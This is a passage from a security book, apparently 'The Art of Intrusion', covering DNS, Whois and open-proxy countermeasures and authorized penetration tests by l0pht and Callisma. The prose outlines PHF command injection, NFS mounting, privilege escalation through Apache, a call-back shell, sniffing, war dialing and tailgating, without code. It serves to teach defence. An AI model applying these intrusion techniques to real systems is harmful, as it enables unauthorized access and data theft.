talks\nabout his awareness of a new course in life.\nI’d be lying if I said I thought people could change overnight. I\ncan’t stop being curious overnight, but I can take my curiosity\nand apply it in a way that doesn’t hurt people. Because if there’s\nThe Art of Intrusion\n108\n"
        },
        {
            "page_number": 130,
            "text": "one thing I’ve taken from this process, it’s an awareness that there\nare real people behind networks. I really can’t look at a computer\nintrusion and not think about the people who have to stay up\nnights worrying about it any more. \nI think journalism and photography for me are intellectual sur-\nrogates for crime. They let me exercise my curiosity, they let me see\nthings differently, they let me pursue tangents in a way that’s\nlaw-abiding. \nHe has also talked his way into a freelance assignment for Network\nWorld. They had contacted him, wanting to use him as the source for a\nstory; he pitched them the idea that instead of doing a sidebar interview\nwith him, they’d let him write the sidebar. The magazine editor agreed.\nSo accompanying a piece profiling hackers was a piece by him on profil-\ning network administrators. \nJournalism is what I want to do. I feel like I can make a differ-\nence, and that’s not something you get a lot of from working in\nsecurity. Security is an industry that very prevalently relies on\npeople’s fears and uncertainties about computers and technology.\nJournalism is far more about the truth. \nHacking is a unique ego issue. It involves the potential for a great\ndeal of power in the hands of a single individual, power reserved\nfor government or big business. The idea of some teenager being\nable to turn off the power grid scares the hell out of government.\nIt should.\nHe doesn’t consider himself a hacker, cracker, or network intruder. “If\nI can quote Bob Dylan, ‘I’m no preacher or traveling salesman. I just do\nwhat I do.’ It makes me happy when people understand or want to\nunderstand that.”\nAdrian says he has been offered lucrative jobs with the military and a\nfederal government agency. He turned them down. “A lot of people\nenjoy sex, but not everyone wants to do it for a living.”\nThat’s Adrian the purist ... the thinking man’s hacker.\nINSIGHT\nWhatever you think about Adrian Lamo’s attitude and actions, I’d like to\nthink you will agree with me about the way the federal prosecutors cal-\nculated the cost of the “damage” he caused. \nChapter 5\nThe Robin Hood Hacker\n109\n"
        },
        {
            "page_number": 131,
            "text": "I know from personal experience how prosecutors build up the sup-\nposed price tag in hacker cases. One strategy is to obtain statements from\ncompanies that overstate their losses in hopes of forcing the hacker to\nplead out rather than going to trial. The defense attorney and the prose-\ncutor then haggle over agreeing on some lesser figure as the loss that will\nbe presented to the judge; under federal guidelines, the greater the loss,\nthe longer the sentence. \nIn Adrian’s case, the U.S. Attorney chose to ignore the fact that the\ncompanies learned they were vulnerable to attack because Adrian himself\ntold them so. Each time, he protected the companies by advising them of\nthe gaping holes in their systems and waiting until they had fixed the\nproblems before he permitted news of his break-in to be published. Sure\nhe had violated the law, but he had (at least in my book) acted ethically. \nCOUNTERMEASURES\nThe approach used by attackers, and favored by Adrian, of running a Whois\nquery can reveal a number of pieces of valuable information, available from\nthe four network information centers (NICs) covering different geographic\nregions of the world. Most of the information in these databases is public,\navailable to anyone who uses a Whois utility or goes to a Web site that\noffers the service, and enters a domain name such as nytimes.com. \nThe information provided may include the name, e-mail address, physi-\ncal address, and phone number of the administrative and technical contacts\nfor the domain. This information could be used for social engineering\nattacks (see Chapter 10, “Social Engineers — How They Work and How\nto Stop Them”). In addition, it may give a clue about the pattern for e-mail\naddresses and login names used by the company. For example, if an\ne-mail address showed as, say, hilda@nytimes.com, this could suggest the\npossibility that not just this one employee but perhaps quite a number of\nTimes staff members might be using just their first name for e-mail address,\nand possibly also for sign-on. \nAs explained in the story of Adrian’s New York Times attack, he also\nreceived valuable information about the IP addresses and netblocks\nassigned to the newspaper company, which were a cornerstone of his suc-\ncessful attack. \nTo limit information leakage, one valuable step for any company would\nbe to list phone numbers only for the company switchboard, rather than\nfor specific individuals. Telephone receptionists should undergo intensive\ntraining so they can quickly recognize when someone is trying to pry\ninformation out of them. Also, the mailing address listed should be the\npublished address of the corporate headquarters, not the address of par-\nticular facilities.\nThe Art of Intrusion\n110\n"
        },
        {
            "page_number": 132,
            "text": "Even better: Companies are now permitted to keep private the domain\nname contact information — it no longer has to be listed as information\navailable to anyone who inquires. On request, your company’s listing will\nbe obscured, making this approach more difficult for attackers.\nOne other valuable tip was mentioned in the story: setting up a split-\nhorizon DNS. This involves establishing an internal DNS server to\nresolve hostnames on the internal network, while setting up another\nDNS server externally that contains the records for hosts that are used by\nthe public.\nIn another method of reconnaissance, a hacker will query authoritative\nDomain Name Servers to learn the type and operating system platform\nof corporate computers, and information for mapping out the target’s\nentire domain. This information is very useful in coordinating a further\nattack. The DNS database may include Host Information (HINFO)\nrecords, leaking this information. Network administrators should avoid\npublishing HINFO records in any publicly accessible DNS server. \nAnother hacker trick makes use of an operation called a zone transfer.\n(Although unsuccessful, Adrian says he attempted this method in his\nattacks on both the New York Times and Excite@Home.) For protection\nof data, a primary DNS server is usually configured to allow other\nauthoritative servers permission to copy DNS records for a particular\ndomain. If the primary server hasn’t been configured properly, an\nattacker can initiate a zone transfer to any computer he or she designates,\nand in this way readily obtain detailed information on all the named hosts\nand their associated IP addresses of the domain. \nThe procedure for protecting against this type of attack involves only\nallowing zone transfers between trusted systems as necessary for business\noperations. To be more specific, the DNS primary server should be con-\nfigured to allow transfers only to your trusted secondary DNS server.\nAdditionally, a default firewall rule should be used to block access to\nTCP port 53 on any corporate name servers. And another firewall rule\ncan be defined to allow trusted secondary name servers to connect to\nTCP port 53 and initiate zone transfers.\nCompanies should make it difficult for an attacker to use the reverse\nDNS lookup technique. While it is convenient to use hostnames that\nmake it clear what the host is being used for — names such as database.\nCompanyX.com — it’s obvious that this also makes it easier for an\nintruder to spot systems worth targeting. \nOther information-gathering DNS reverse lookup techniques include\ndictionary and brute-force attacks. For example, if the target domain is kev-\ninmitnick.com, a dictionary attack will prefix every word in the dictionary\nto the domain name in the form of dictionaryword.kevinmitnick.com, to\nChapter 5\nThe Robin Hood Hacker\n111\n"
        },
        {
            "page_number": 133,
            "text": "identify other hosts within that domain. A brute-force reverse DNS\nattack is much more complex, where the prefix is a series of alphanumeric\ncharacters that are incremented a character at a time to cycle through\nevery possibility. To block this method, the corporate DNS server can be\nconfigured to eliminate publishing DNS records of any internal host-\nnames. And an external DNS server can be used in addition to the inter-\nnal one, so that internal hostnames are not leaked to any untrusted\nnetwork. In addition, the use of separate internal and external name\nservers also helps with the issue mentioned previously concerning host-\nnames: An internal DNS server, protected from visibility from outside the\nfirewall, can use hostnames with identifying hostnames such as database,\nresearch, and backup with little risk.\nAdrian was able to gain valuable information about the New York Times\nnetwork by examining the header of an e-mail received from the newspa-\nper, which revealed an internal IP address. Hackers intentionally bounce\ne-mail messages to obtain this kind of information, or scour public news-\ngroups looking for e-mail messages that are similarly revealing. The header\ninformation can provide a wealth of information, including the naming\nconventions used internally, internal IP addresses, and the route an e-mail\nmessage has taken. To protect against this, companies should configure\ntheir SMTP (Simple Mail Transfer Protocol) server to filter out any inter-\nnal IP addresses or host information from outgoing mail messages, pre-\nventing internal identifiers from being exposed to the public.\nAdrian’s primary weapon was his intellectual gift of finding misconfig-\nured proxy servers. Recall that one use of a proxy server is to allow users\non the trusted side of the computer network to access Internet resources\non the untrusted side. The user on the inside makes a request for a par-\nticular Web page; the request is sent to the proxy server, which forwards\nthe request on behalf of the user and passes the response back to the user. \nTo prevent hackers from obtaining information the way Adrian does,\nproxy servers should be configured to listen only on the internal inter-\nface. Or, instead, they may be configured to listen only to an authorized\nlist of trusted outside IP addresses. That way, no unauthorized outside\nuser can even connect. A common mistake is setting up proxy servers that\nlisten on all network interfaces, including the external interface con-\nnected to the Internet. Instead, the proxy server should be configured to\nallow only a special set of IP addresses that have been set aside by the\nInternet Assigned Numbers Authority (IANA) for private networks.\nThere are three blocks of private IP addresses: \n10.0.0.0 through 10.255.255.255\n172.16.0.0 through 172.31.255.255\n192.168.0.0 through 192.168.255.255 \nThe Art of Intrusion\n112\n"
        },
        {
            "page_number": 134,
            "text": "It’s also a good idea to use port restriction to limit the specific services\nthe proxy server will allow, such as limiting any outgoing connections to\nHTTP (Web access) or HTTPS (secure Web access). For further control,\nsome proxy servers using SSL (Secure Sockets Layer) may be configured\nto examine the initial stages of the traffic being sent to confirm that an\nunauthorized protocol is not being tunneled over an authorized port.\nTaking these steps will curtail an attacker from misusing the proxy server\nto connect to unauthorized services. \nAfter installing and configuring a proxy server, it should be tested for\nvulnerabilities. You never know if you’re vulnerable until you test for secu-\nrity failures. A free proxy checker can be downloaded from the Internet.5\nOne other item: Since a user installing a software package may in some\ncircumstances unknowingly be also installing proxy server software, cor-\nporate security practices should provide some procedure for routinely\nchecking computers for unauthorized proxy servers that may have been\ninstalled inadvertently. You can use Adrian’s favorite tool, Proxy Hunter,\nto test your own network. Remember that a misconfigured proxy server\ncan be a hacker’s best friend.\nA great many hacker attacks can be blocked simply by following best\nsecurity practices and exercising a standard of due care. But the dangers of\naccidentally deploying an open proxy are too often overlooked and repre-\nsent a major vulnerability in a great number of organizations. Enough said?\nTHE BOTTOM LINE\nIn whatever field you find them, people of an original turn of mind, peo-\nple who are deep thinkers and see the world (or at least parts of it) more\nclearly than those around them are people worth encouraging.\nAnd, for those like Adrian Lamo, people worth steering along a con-\nstructive path. Adrian has the ability to make significant contributions. I\nwill follow his progress with fascination.\nNOTES\n1. See the press release from the U.S. Government at www.usdoj.gov/criminal/cybercrime/\nlamoCharge.htm.\n2. See www.usdoj.gov/criminal/cybercrime/lamoCharge.htm.\n3. For more information on this, see www.crime-research.org/library/Kevin2.htm.\n4. See www.infoworld.com/article/04/07/16/HNlamohome_1.html.\n5. For more information on this, see www.corpit.ru/mjt/proxycheck.html.\nChapter 5\nThe Robin Hood Hacker\n113\n"
        },
        {
            "page_number": 135,
            "text": ""
        },
        {
            "page_number": 136,
            "text": "115\nChapter 6\nThe Wisdom and Folly\nof Penetration Testing\nThe adage is true that the security systems have to win every time, the\nattacker only has to win once.\n— Dustin Dykes\nT\nhink of a prison warden who hires an expert to study his insti-\ntution’s security procedures, concerned about any gaps that\ncould allow an inmate to slip out. A company follows that same\nline of thinking when it brings in a security firm to test the sanctity of its\nWeb site and computer networks against intrusion by seeing whether\nhired attackers can find a way to access sensitive data, enter restricted\nparts of the office space, or otherwise find gaps in the security that could\nput the company at risk.\nTo people in the security field, these are penetration tests — or, in the\nlingo, “pen tests.” The security firms that conduct these drills are fre-\nquently staffed by (surprise, surprise) former hackers. In fact, the founders\nof these firms are themselves frequently people who have extensive hacker\ncredentials that they prefer their clients never find out about. It makes\nsense that security professionals tend to come from the hacker community,\nsince a typical hacker is well educated in the common and not so common\ndoorways that companies inadvertently leave open into their inner sanc-\ntums. Many of these former hackers have known since they were teens\nthat “security” is, in a great many cases, a serious misnomer.\nAny company that orders a pen test and expects the results to confirm\nthat their security is intact and flawless is likely setting themselves up for\n"
        },
        {
            "page_number": 137,
            "text": "a rude awakening. Professionals in the business of conducting security\nassessments frequently find the same old mistakes — companies are sim-\nply not exercising enough diligence in protecting their proprietary infor-\nmation and computer systems. \nThe reason businesses and government agencies conduct security assess-\nments is to identify their security posture at a point in time. Moreover,\nthey could measure progress after remediating any vulnerabilities that\nwere identified. Granted, a penetration test is analogous to an EKG. \nThe next day, a hacker can break in using a zero-day exploit, even though\nthe business or agency passed their security assessment with flying colors.\nSo, calling for a pen test in the expectation that it will confirm the\norganization is doing a bang-up job of protecting its sensitive informa-\ntion is folly. The results are likely to prove exactly the opposite, as demon-\nstrated by the following stories — one for a consulting company, the\nother with a biotech firm. \nONE COLD WINTER\nNot long ago, several managers and executives of a large New England\nIT consulting firm gathered in their lobby conference room to meet with\na pair of consultants. I can imagine the company technology people at the\ntable must have been curious about one of the consultants, Pieter Zatko,\nan ex-hacker widely known as “Mudge.”\nBack in the early 1990s, Mudge and an associate brought together an\nassortment of like-minded guys to work together in cramped space in a\nBoston warehouse; the group would become a highly respected com-\nputer security outfit called l0pht or, tongue firmly in cheek, l0pht Heavy\nIndustries. (The name is spelled with a small “L,” a zero instead of an\n“o,” and, in hacker style, “ph” for the sound of “f”; it’s pronounced\n“loft.”) As the operation grew more successful and his reputation spread,\nMudge was invited to share his knowledge. He has lectured at places like\nthe U.S. Army’s strategy school in Monterey on the subject of “informa-\ntion warfare” — how to get into an enemy’s computers and disrupt serv-\nices without being detected, as well as on data destruction techniques and\nthe like. \nOne of the most popular tools for computer hackers (and sometimes for\nsecurity people as well) is the software package called l0phtCrack. The\nmagic this program performs is taken for granted by those who use it, and\nI suspect thoroughly hated by a great many others. The l0pht group gar-\nnered media attention because they wrote a tool (called 10phtCrack) that\nquickly cracked password hashes. Mudge coauthored l0phtCrack and\ncofounded the online site that made the program available to hackers and\nanybody else interested, at first free, later as a moneymaking operation. \nThe Art of Intrusion\n116\n"
        },
        {
            "page_number": 138,
            "text": "Initial Meeting\nThe call that L0pht had received from the consulting firm (we’ll call\nthem “Newton”) came after the firm decided they needed to expand the\nservices they offered their clients by adding the capability to conduct pen\ntests. Instead of hiring new staff people and building a department grad-\nually, they were shopping for an existing organization they could buy and\nbring in-house. At the start of the meeting, one of the company people\nlaid the idea on the table: “We want to buy you and make you part of our\ncompany.” Mudge remembers the reaction:\nWe were like, “Well, er, um, you don’t even know much about us.”\nWe knew they were really interested largely from the media frenzy\nthat l0phtCrack was creating. \nPartly to buy time while he got used to the idea of selling the company,\npartly because he didn’t want to rush into negotiations, Mudge came up\nwith a delaying tactic.\nI said, “Look, you don’t really know what you’d be getting. How\nabout this — how about for $15,000 we will do an exhaustive pen\ntest on your organization?”\nAt the time, the l0pht wasn’t even a pen test company. But I told\nthem, “You don’t know what our skills are, you’re basically going\noff of our publicity. You’ll pay us $15,000. If you don’t like what\nyou get, then you don’t have to buy us and it will still have been\nworth the time because you’ll get a good pen test report and we’ll\nhave $15,000 in the bank. \n“And, of course, if you like it and you’re impressed by it, which we\nexpect you will, then you’ll buy us.” \nThey said, “Sure, this is great.” \nAnd I’m thinking, “What idiots!”\nTo Mudge’s way of thinking, they were “idiots” because they were\ngoing to authorize the l0pht team to break into their files and corre-\nspondence at the same time they were negotiating a deal to buy his com-\npany. He fully expected to be able to peer over their shoulders.\nGround Rules\nSecurity consultants running a pen test have something in common with\nthe undercover vice cops buying drugs: If some uniformed precinct cop\nspots the transaction and pulls his gun, the vice squad guy just shows his\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n117\n"
        },
        {
            "page_number": 139,
            "text": "badge. No worries about going to jail. The security consultant hired to\ntest the defenses of a company wants the same protection. Instead of a\nbadge, each member of the pen-test team gets a letter signed by a com-\npany executive saying, in effect, “This guy has been hired to do a project\nfor us, and if you catch him doing something that looks improper, it’s\nokay. No sweat. Let him go about his work and send me a message with\nthe details.” \nIn the security community, this letter is known by all as a “get-out-of-\njail-free card.” Pen testers tend to be very conscientious about making\nsure they always have a copy of the letter with them when they’re on or\nanywhere near the premises of the client company, in case they get\nstopped by a security guard who decides to flex some muscle and impress\nthe higher-ups with his gumshoe instincts, or challenged by a conscien-\ntious employee who spots something suspicious and has enough gump-\ntion to confront the pen tester.\nIn another standard step before a test is launched, the client specifies the\nground rules — what parts of their operation they want included in the test\nand what parts are off-limits. Is this just a technical attack, to see if the\ntesters can obtain sensitive information by finding unprotected systems or\ngetting past the firewall? Is it an application assessment of the publicly fac-\ning Web site only, or the internal computer network, or the whole works?\nWill social engineering attacks be included — attempting to dupe employ-\nees into giving out unauthorized information? How about physical attacks,\nin which the testers attempt to infiltrate the building, circumventing the\nguard force or slipping in through employee-only entrances? And how\nabout trying to obtain information by dumpster diving — looking through\nthe company trash for discarded paperwork with passwords or other data\nof value? All this needs to be spelled out in advance.\nOften the company wants only a limited test. One member of the l0pht\ngroup, Carlos, sees this as unrealistic, pointing out that “hackers don’t\nwork that way.” He favors a more aggressive approach, one where the\ngloves are off and there are no restrictions. This kind of test is not only\nmore revealing and valuable for the client but more pleasing to the testers\nas well. It is, Carlos says, “a lot more fun and interesting.” On this one,\nCarlos got his wish: Newton agreed to a no-holds-barred attack.\nSecurity is primarily based on trust. The hiring firm must trust the secu-\nrity company entrusted to perform the security assessment. Furthermore,\nmost businesses and government agencies require a nondisclosure agree-\nment (NDA) to legally protect proprietary business information from\nunauthorized disclosure.\nIt’s common for pen testers to sign an NDA, since they may come\nupon sensitive information. (Of course, the NDA seems almost superflu-\nous: Any company that made use of any client information would likely\nThe Art of Intrusion\n118\n"
        },
        {
            "page_number": 140,
            "text": "never manage to get another client. Discretion is essentially a prerequisite.)\nFrequently, pen testers are also required to sign a rider stating that the firm\nwill do its best not to impact the company’s daily business operations. \nThe l0pht crew for the Newton test consisted of seven individuals, who\nwould work alone or in pairs, each person or team responsible for focus-\ning on a different aspect of the company’s operations. \nAttack!\nWith their get-out-of-jail-free cards, the l0pht team members could be as\naggressive as they wanted, even “noisy” — meaning carrying out activities\nthat could call attention to themselves, something a pen tester usually\navoids. But they still hoped to remain invisible. “It’s cooler to get all this\ninformation and then at the end know they hadn’t detected you. You’re\nalways trying for that,” says Carlos.\nNewton’s Web server was running the popular server software called\nApache. The first vulnerability that Mudge had found was the target com-\npany’s Checkpoint Firewall-1 had a hidden default configuration (rule) to\nallow in packets with a source UDP (User Data Protocol) or TCP\n(Transmission Control Protocol) port of 53 to almost all the high ports\nabove 1023. His first thought was to attempt to mount off their exported\nfile systems using NFS (Network File System), but quickly realized that\nthe firewall had a rule blocking access to NFS daemon (port 2049). \nAlthough the common system services were blocked, Mudge knew of\nan undocumented feature of the Solaris operating system that bound\nrpcbind (the portmapper) to a port above 32770. The portmapper\nassigns dynamic port numbers for certain programs. Through the\nportmapper, he was able to find the dynamic port that was assigned to\nthe mount daemon (mountd) service. Depending on the format of the\nrequest, Mudge says, “the mount daemon will also field Network File\nSystem requests because it uses the same code. I got the mount daemon\nfrom the portmapper, then I went up to the mount daemon with my\nNFS request.” Using a program called nfsshell, he was able to remotely\nmount the target system’s file system. Mudge said, “We quickly got the\ndial-up list numbers. We just download their entire exported file systems.\nWe had total control of the system.”\nMudge also found that target server was vulnerable to the ubiquitous\nPHF hole (see Chapter 2, “When Terrorists Come Calling”). He was able\nto trick the PHF CGI script to execute arbitrary commands by passing the\nUnicode string for a newline character followed by the shell command to\nrun. Looking around the system using PHF, he realized that the Apache\nserver process was running under the “nobody” account. Mudge was\npleased to see that the systems administrators had “locked down the\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n119\n"
        },
        {
            "page_number": 141,
            "text": "box” — that is, secured the computer system — which is exactly what\nshould be done if the server is connected to an untrusted network like\nthe Internet. He searched for files and directories, hoping to find one\nthat was writable. Upon further examination, he noticed that the Apache\nconfiguration file (httpd.conf) was also owned by the “nobody” account.\nThis mistake meant that he had the ability to overwrite the contents of the\nhttpd.conf file.\nHis strategy was to change the Apache configuration file so the next\ntime Apache was restarted, the server would run with the privileges of the\nroot account. But he needed a way to edit the configuration so he could\nchange what user Apache would run under.\nWorking together with a man whose handle is Hobbit, the two figured\nout a way to use the netcat program, along with a few shell tricks, to get\nthe closest thing to an interactive shell. Because the system administrator\nhad apparently changed the ownership of the files in the “conf”directory\nto “nobody,” Mudge was able to use the “sed” command to edit\nhttpd.conf, so the next time Apache was started, it would run as root.\n(This vulnerability in the then-current version of Apache has since been\ncorrected.)\nBecause his changes would not go into effect until the next Apache was\nrestarted, he had to sit back and wait. Once the server rebooted, Mudge\nwas able to execute commands as the root through the same PHF vul-\nnerability; while those commands had previously been executed under\nthe context of the “nobody” account, now Apache was running as root.\nWith the ability to execute commands as root, it was easy to gain full con-\ntrol of the system.\nMeanwhile, the l0pht attacks were progressing on other fronts. What\nmost of us in hacking and security call dumpster diving, Mudge has a\nmore formal term for it: physical analysis.\nWe sent people over to do physical analysis. One employee [of the\nclient company] I guess had recently been fired and instead of just\nthrowing out his paperwork, they had trashed his entire desk. [Our\nguys found] his desk set out with the trash. The drawers were full of\nold airline tickets, manuals, and all kinds of internal documents.\nI wanted to show [the client] that good security practices are not\njust about computer security.\nThis was a lot easier than going through all their trash stuff\nbecause they had a compactor. But they couldn’t fit the desk in the\ncompactor.\nI still have that desk somewhere.\nThe Art of Intrusion\n120\n"
        },
        {
            "page_number": 142,
            "text": "The physical team also entered the company premises using a simple\nand, in the right circumstances, nearly infallible method known as tail-\ngating. This involves following closely behind an employee as he or she\ngoes through a secured door, and it works especially well coming out of\na company cafeteria or other area mostly used by employees, into a\nsecured area. Most staff members, particularly lower-ranked ones, hesi-\ntate to confront a stranger who enters the building right behind them,\nfor fear the person might be someone of rank in the company. \nAnother l0pht team was conducting attacks on the company’s telephone\nand voicemail systems. The standard starting point is to figure out the man-\nufacturer and type of the system the client is using, then set a computer to\nwar dialing — that is, trying one extension after another to locate employ-\nees who have never set their own passwords, or have used passwords that\nare easy to guess. Once they find a vulnerable phone, the attackers can then\nlisten to any stored voicemail messages. (Phone hackers — “phreakers” —\nhave used the same method to place outgoing calls at the expense of the\ncompany.)\nWhile war dialing, the l0pht telephone team was also identifying company\nphone extensions answered by a dial-up modem. These dial-up connections\nare sometimes left unprotected, relying on the security-through-obscurity\napproach, and are frequently on “the trusted side” of the firewall.\nBlackout\nThe days were rolling by, the teams were recording valuable tidbits of infor-\nmation, but Mudge still hadn’t come up with a brilliant idea about causing\nthe Apache system to reboot so that he could gain access to the network.\nThen a misfortune occurred that, for the team, had a silver lining:\nI was listening to the news and heard there was a blackout in the\ncity where the company was located. \nIt actually was tragic because a utility worker had died in a\nmanhole explosion across on the other side of town, but it had\nknocked out power for the whole town. \nI thought, if they just take long enough to restore the power, then\nthe server’s power backup system most likely will run out.\nThat would mean the server would shut down. When the city power\nwas restored, the system would reboot. \nI sat there checking the Web server constantly and then at some\npoint the system went down. They had to reboot it. So the timing\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n121\n"
        },
        {
            "page_number": 143,
            "text": "was perfect for us. When the system came up, lo and behold\nApache was running as root, just as we planned.\nThe l0pht team at that point was able to completely compromise the\nmachine, which then became “our internal stepping stone to scan an\nattack out from that point.” To Carlos, this was “a field day.” \nThe team developed a piece of code that would make it unlikely they\ncould be shut out of the system. Corporate firewalls are not usually con-\nfigured to block outgoing traffic, and Mudge’s lightweight program,\ninstalled on one of Newton’s server, made a connection every few min-\nutes back to a computer under the team’s control. This connection pro-\nvided a command-line interface like the “command-line shell” familiar to\nusers of Unix, Linux, and the old DOS operating system. In other words,\nthe Newton machine was regularly providing Mudge’s team the oppor-\ntunity to enter commands that bypassed the company’s firewall.\nTo avoid detection, Mudge had named their script to blend into the\nsystem’s background language. Anyone spotting the file would assume it\nwas a part of the normal working environment. \nCarlos set about searching the Oracle databases in hopes of finding the\nemployee payroll data. “If you can show the CIO his salary and how\nmuch bonus he was paid, that usually drives the message home that\nyou’ve got everything.” Mudge set up a sniffer on all email going in and\nout of the company. Whenever a Newton employee went to the firewall\nfor maintenance work, l0pht was aware of it. They were shocked to see\nthat clear text was being used to log in on the firewall. \nIn just a short time, l0pht had fully penetrated the entire network, and\nhad the data to prove it. Says Mudge, “You know, that’s why I think a lot\nof companies don’t like to have pen tests of the inside of their networks.\nThey know it’s all bad.”\nVoicemail Revelations\nThe telephone team discovered that some of the executives leading the\nnegotiations to acquire the l0pht had default passwords on their voicemail\nboxes. Mudge and his teammates got an earful — and some of it was funny.\nOne of the items they had requested as a condition of selling l0pht to\nthe company was a mobile operations unit — a cargo van they could\nequip with wireless gear and use during other penetration tests for cap-\nturing unencrypted wireless communications. To one of the executives,\nthe idea of buying a van for the l0pht team seemed so outrageous that he\nstarted calling it a Winnebago. His voicemail was full of scathing remarks\nfrom other company officials about the “Winnebago,” and the l0pht\nteam in general. Mudge was both amused and appalled.\nThe Art of Intrusion\n122\n"
        },
        {
            "page_number": 144,
            "text": "Final Report\nWhen the test period was over, Mudge and the team wrote up their\nreport and prepared to deliver it at a meeting to be attended by all the\nexecutives of Newton. The Newton people had no idea what to expect;\nthe l0pht crew knew it would be an incendiary session. \nSo we’re giving them the report and we’re just ripping them open.\nAnd they’re embarrassed. This wonderful systems administrator, a\nreally nice guy, but we had sniffers in place, and we had watched\nhim trying to log onto one of the routers, trying a password and it\nfails, trying another, it fails, trying another, and it fails, too. \nThese were the administrator passwords for all the different internal\nsystems, which the pen testers got all at once from that one span of a few\nminutes. Mudge remembers thinking how nice and easy that was. \nThe more interesting part was for the voicemails where they were\ntalking about their purchase of us. They were telling us, “Yeah, we\nwant all you guys.” But on the voicemails to each other, they were\nsaying, “Well, we want Mudge, but we don’t want these other\nguys, we’ll fire them as soon as they come on.”\nAt the meeting, the l0pht guys played some of the captured voicemail\nmessages while the executives sat their listening to their own embarrass-\ning words. But the best was yet to come. Mudge had scheduled a final\nnegotiations session on the buyout so that it had already taken place at\nthe time of the report meeting. He shared the details of that meeting\nwith obvious glee. \nSo they come in and say, “We’re willing to give you this, it’s the\nhighest number that we can go up to, and we’ll do all these\nthings.” But we know exactly what parts they’re saying that’s\ntrue, what parts they’re saying are lies. \nThey start off with this low-ball number. And they’re like, “Yeah,\nwhat do you think?” And we countered with, “Well, we don’t\nthink we can do it for less than ...” and named the number we\nknew was their top figure.\nAnd it’s like, “Oh, oh, we’ll have to talk about this, why don’t you\ngive us a few minutes, can you leave us alone in the room?” \nIf it wasn’t for those sorts of things, we would have thought very\nseriously about it. But they were trying to pull a fast one.\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n123\n"
        },
        {
            "page_number": 145,
            "text": "At the report meeting — the final sessions between the representatives\nof the two companies — Mudge remembers that “we just wanted to\nmake sure we could convince them that there wasn’t a machine on the\nnetwork we couldn’t have full access to.” Carlos remembers the faces of\nseveral executives “turning kinda red” as they listened.\nIn the end the l0pht team walked away. They got to keep the $15,000\nbut didn’t sell the company that time around.\nONE ALARMING GAME\nFor security consultant Dustin Dykes, hacking for profit is “exhilarating.\nI understand the adrenaline junkies, it’s an absolute high.” So when he\narrived in the lobby conference room of a pharmaceutical company that\nwe’ll call “Biotech” to discuss doing a penetration test for them, he was\nin a good mood and looking forward to the challenge. \nAs the lead consultant for the practice of security services of his com-\npany, Callisma, Inc. (now part of SBC), Dustin had called for his team to\nattend the meeting dressed in business attire. He was caught off guard\nwhen the Biotech folks showed up in jeans, T-shirts, and shorts, all the\nmore odd because the Boston area at the time was suffering one of the\ncoldest winters in memory. \nDespite a background in computer administration — in particular, net-\nwork operations, Dustin has always considered himself a security person,\nan attitude he probably developed while doing a tour of duty in the Air\nForce, where, he says, “I cultivated my latent paranoia: the security mind-\nset that everybody is out to get you.”\nHooking up with computers in the seventh grade was his stepmother’s\ndoing. Back then, she worked for a company as a systems administrator.\nDustin was fascinated by the foreign-sounding language she used when\ntalking business on the phone. When he was 13, “One night she brought\nhome a computer that I took to my room and programmed to create\nDungeons and Dragons characters and roll my dice for me.” Delving into\nbooks on Basic and picking up whatever he could glean from friends,\nDustin developed his skills. He taught himself how to use a modem for\ndialing into his stepmom’s workplace to play adventure games. At first he\nonly wanted more and more computer time, but as he grew up he real-\nized that his free spirit wouldn’t be a good match for spending his life at\na terminal. As a security consultant, he could combine his talents with his\nneed for freedom. This was definitely “a nifty solution.”\nThe decision to make a career in security turned out to be a good one.\n“I’m thrilled to be in this profession,” he says. “It’s a chess game. Every\nmove, there’s a counter move. Every move changes the entire dynamics\nof the game.”\nThe Art of Intrusion\n124\n"
        },
        {
            "page_number": 146,
            "text": "Rules of Engagement\nIt makes sense for every company to be concerned about how vulnerable\nthey are — how good a job they’re doing at protecting their intellectual\nproperty, protecting against the loss of public confidence that inevitably\nfollows a highly publicized break-in, and guarding their employees\nagainst electronic intruders sneaking a look at personal information.\nSome companies are motivated by reasons even more pressing, like not\nrunning afoul of government watchdog agencies that could mean losing\nan important contract or setting back a crucial research project. Any com-\npany holding a Department of Defense contract is in this category. So is\nany firm doing sensitive biotechnology research that has the Food and\nDrug Administration looking over their shoulder — which is the category\nthat Callisma’s new client fell into. With dangerous chemicals around, and\nlabs where scientists were conducting research the hackers-for-hire didn’t\nwant to know about, this one was going to be challenging.\nAt the initial meeting with Biotech, the Callisma team learned that the\ncompany wanted to be hit with every possible attack that a true adversary\nmight try: simple to complex technical attacks, social engineering, and\nphysical break-ins. The company IT executives, as is often the case, were\ncertain the pen testers would find their every effort defeated. So Biotech\nlaid down their scoring rules: Nothing short of solid documentary evi-\ndence would be acceptable. \nA “cease and desist” process was established for the test. Sometimes\nthis can be as simple as an agreed-upon code word from any designated\nemployee to stop an attack that is negatively affecting the company’s\nwork. The company also gave guidance on the handling of compromised\ninformation — how it would be contained, when it would be turned over\nand to whom. \nSince a pen test carries the possibility of events that might interfere with\nthe company’s work, several what-ifs also need to be addressed up front.\nWho in the chain of command will be notified when there might be a\nservice disruption? Exactly what parts of the system can be compromised\nand how? And how will the testers know to what extent an attack can be\ncarried out before irreparable damage or loss of business occurs?\nClients often ask only for a pen test involving a technical attack and\noverlook other threats that may leave the company even more vulnerable.\nDustin Dykes explains:\nRegardless of what they say, I know their primary goal is to iden-\ntify their system weaknesses, but usually they are vulnerable in\nanother way. A true attacker will go for the path of least resist-\nance, the weakest link in the security chain. Like water running\nChapter 6\nThe Wisdom and Folly of Penetration Testing\n125\n"
        },
        {
            "page_number": 147,
